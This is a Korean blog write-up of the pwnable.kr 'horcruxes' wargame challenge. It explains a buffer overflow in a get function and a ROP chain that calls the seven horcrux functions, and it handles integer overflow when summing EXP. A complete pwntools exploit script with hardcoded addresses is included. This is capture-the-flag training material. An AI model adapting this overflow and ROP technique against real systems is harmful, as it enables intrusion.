[pwnable.kr] horcruxes
2018. 8. 20. 01:20
호크룩스..
볼드모트 (Voldemort)는 7 개의 호크룩스(Horcruxes) 안쪽에 자신의 쪼개진 영혼을 숨겼습니다.
모든 호크룩스를 찾아 파괴하십시오!
앜ㅋㅋㅋ 볼드모트라니... 갑자기 해리포터
일단 접속해보면 바이너리가 하나 있는데; 포너블.kr 서버에서 분석하기 귀찮아서 다운받아서 ida로 보기로 했다.
scp -P 2222 horcruxes@pwnable.kr:/home/horcruxes/horcruxes /home/myria/pwnable.kr/horcruxes/
경험치를 다 모으면 얼마인지를 입력받아서, 그 값이 정말 경험치를 다 모은 값과 같다면 flag를 출력해준다.
get함수에서 overflow가 일어나기때문에 호크룩스 함수들을 차례로 부를 수 있다.
ROP타임... 먼저 호크룩스들의 주소를 알아보자.
함수명이 간단해서 금방 찾았따...
ROP해주자. 경험치가 막 뜬다.
근데 인티저 오버플로우가 나서 경험치가 -되기도 한다..
경험치를 다 모아서 가져다주면 플래그를 준당
ㅇ오옹
가끔 경험치가 마이너스가 될때가 있어서... 잘 처리해주어야한다..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | from pwn import * #context.log_level = 'debug' s = ssh(user='horcruxes',host='pwnable.kr',port=2222,password='guest') conn = s.connect_remote('localhost', 9032) call_ropme = 0x809FFFC def collect_horcruxes(): payload = "A"*0x74 payload += p32(0xdeadbeef) #sfp payload += p32(0x809fe4b) #A payload += p32(0x809fe6a) #B payload += p32(0x809fe89) #C payload += p32(0x809fea8) #D payload += p32(0x809fec7) #E payload += p32(0x809fee6) #F payload += p32(0x809ff05) #G payload += p32(call_ropme) conn.recvuntil(":") conn.sendline(payload) def Get_EXP(): conn.recvuntil("EXP +") return conn.recvuntil(")")[:-1] conn.recvuntil(":") conn.sendline("1") collect_horcruxes() EXP = 0 for i in range(7): EXP += int(Get_EXP()) EXP = EXP&0xFFFFFFFF if EXP>>31 == 1: EXP = EXP-0x100000000 log.info("EXP : %d" % EXP) conn.recvuntil(":") conn.sendline("1") conn.recvuntil(":") conn.sendline(str(EXP)) conn.interactive() | cs |
'Wargame > Pwnable.kr' 카테고리의 다른 글
[pwnable.kr] simple login (0) | 2018.09.24 |
---|---|
[pwnable.kr] brain fuck (0) | 2018.09.24 |
[pwnable.kr] blukat (0) | 2018.08.20 |
[pwnable.kr] unlink (0) | 2018.08.01 |
[pwnable.kr] memcpy (0) | 2018.07.27 |